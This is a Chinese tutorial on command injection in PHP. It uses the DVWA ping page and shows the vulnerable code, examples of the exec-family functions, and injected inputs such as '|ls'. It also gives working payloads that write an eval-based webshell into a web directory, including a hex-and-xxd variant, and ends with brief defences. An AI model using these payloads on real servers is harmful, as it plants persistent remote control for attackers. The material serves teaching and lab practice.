### 命令注入
即 Command Injection,。是指通過提交惡意構(gòu)造的參數(shù)破壞命令語句結(jié)構(gòu),,從而達(dá)到執(zhí)行惡意命令的目的。
在Web應(yīng)用中,,有時(shí)候會用到一些命令執(zhí)行的函數(shù),,如php中system、exec,、shell_exec等,,當(dāng)對用戶輸入的命令沒有進(jìn)行限制或者過濾不嚴(yán)導(dǎo)致用戶可以執(zhí)行任意命令時(shí),就會造成命令執(zhí)行漏洞,。
以DVWA為例,,下面使用ping命令測試IP,正常輸入一個(gè)IP或者域名會返回一個(gè)正常的返回結(jié)果,。
當(dāng)輸入惡意構(gòu)造的語句 www.baidu.com && netstat -an,,會把后面的語句也給執(zhí)行了:
low 代碼:
```
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
```
執(zhí)行結(jié)果:
![](/upload/attach/201804/201804251457_XQTHKTYSD33XZJH.jpg)
### PHP的常見命令執(zhí)行函數(shù):
system(),,exec(),,shell_exec(),,passthru()
1,、system()
system — 執(zhí)行外部程序,并且顯示輸出
常規(guī)用法:
```
<?php
$whoami = system('whoami', $retval);
echo $retval; //外部命令執(zhí)行后的返回狀態(tài)
?>
```
![](/upload/attach/201804/201804251457_YNVX3RY7QNA5S2D.jpg)
```
<?php
$host = $argv[1];
system("ping ".$host);
?>
```
使用PHP執(zhí)行:
php test1.php www.baidu.com
![](/upload/attach/201804/201804251457_YWC92KGY3AWT2GV.jpg)
如果惡意攻擊者輸入以下命令,,則會造成任意命令執(zhí)行:
php test1.php '|ls'
![](/upload/attach/201804/201804251458_9FAN44W7E655BPS.jpg)
2、exec()
exec — 執(zhí)行一個(gè)外部程序
```
<?php
// 輸出運(yùn)行中的 php/httpd 進(jìn)程的創(chuàng)建者用戶名
// (在可以執(zhí)行 "whoami" 命令的系統(tǒng)上)
echo exec('whoami');
?>
```
![](/upload/attach/201804/201804251458_X7PG8MAEEYQQJRA.jpg)
3,、shell_exec()
shell_exec — 通過 shell 環(huán)境執(zhí)行命令,,并且將完整的輸出以字符串的方式返回,。
```
<?php
$output = shell_exec('ls');
echo "<pre>$output</pre>";
?>
```
![](/upload/attach/201804/201804251458_H9J37BDE86XC8JJ.jpg)
4,、passthru()
passthru() 函數(shù)與 exec() 函數(shù)類似,執(zhí)行外部程序并且顯示原始輸出,。
### 命令注入寫webshell:
Windows:
用^轉(zhuǎn)義<
```
echo ^<?php eval($_POST[pass]); ?^> > web目錄shell.php
```
如果加上單引號會寫不進(jìn)去,如果加雙引號會把雙引號一起寫進(jìn)去,,所以要用^轉(zhuǎn)義<
```
echo '<?php eval($_POST[pass]); ?>' > web目錄shell.php
```
Linux:
linux下需要用來轉(zhuǎn)義<,,不過很多php都默認(rèn)開啟gpc,,可以先用16進(jìn)制轉(zhuǎn)換一句話再用xxd命令把16進(jìn)制還原.
```
echo '<?php eval($_POST[pass]);>' > web目錄/shell.php
```
```
echo 3c3f706870206576616c28245f504f53545b706173735d293b3e|xxd -r -ps > web目錄/shell.php
```
<?php eval($_POST[pass]);>
轉(zhuǎn)換為16進(jìn)制:
3c3f706870206576616c28245f504f53545b706173735d293b3e
由于我用的是Linux,所以使用payload寫入一句話:
```
www.baidu.com & echo '<?php eval($_POST[pass]);>' > web目錄/sh2ll.php
```
寫入成功:
![](/upload/attach/201804/201804251458_89NGMF6CPVF64XR.jpg)
### 命令注入的防御措施:
1,、采用白名單,,或使用正則表達(dá)式進(jìn)行過濾。
2,、不要讓用戶可以直接控制eval(),、system、exec,、shell_exec等函數(shù)的參數(shù),。
3、在進(jìn)入執(zhí)行命令函數(shù)和方法前,,對變量進(jìn)行過濾,,對敏感字符進(jìn)行轉(zhuǎn)義。